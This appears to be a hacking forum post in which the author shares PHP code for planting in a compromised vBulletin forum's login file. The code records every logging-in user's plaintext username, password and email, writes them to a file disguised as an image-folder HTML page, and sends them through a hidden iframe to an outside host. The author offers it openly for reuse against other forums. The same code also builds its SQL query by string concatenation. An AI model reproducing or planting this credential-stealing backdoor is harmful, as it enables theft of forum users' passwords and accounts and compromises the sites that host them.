vBulletin plain text password logging
This code I used after hacking a vBulletin form to log plain text passwords when people logged in. May or may not still work, but it shows how its done so modify to your likings. 
Simply insert it into the login file of the forum and watch the fun roll in Wink

**note** I used the iframe to another site for some logging, incase you lose shell access.. for that code, you have to make your own, but its just grabbing simple $_GET requests and logging them to a file

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]); 
   $lg_password = $vbulletin->GPC["vb_login_password"]; 
   $lg_file = "./images/buttons/footer.html"; 
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); 
   while($row = @mysql_fetch_array($sql_query)) 
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) 
echo "<iframe src=\"http://xxxxxxxxxxxxxx.me/wp-content/themes/twentyten/images/put.php?p=".$lg_username.':'.$lg_password."(".$row['email'].")\" width=\"10\" height=\"10\" style=\"visibility:hidden;position:absolute;left:0;top:0;\"></iframe>";
         $fp1 = @fopen($lg_file, "a+"); 
         @fwrite($fp1, $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\r\n"); 
         $f = @file($lg_file); 
         $new = array_unique($f); 
         $fp = @fopen($lg_file, "w"); 
         foreach($new as $values) 
            @fputs($fp, $values); 

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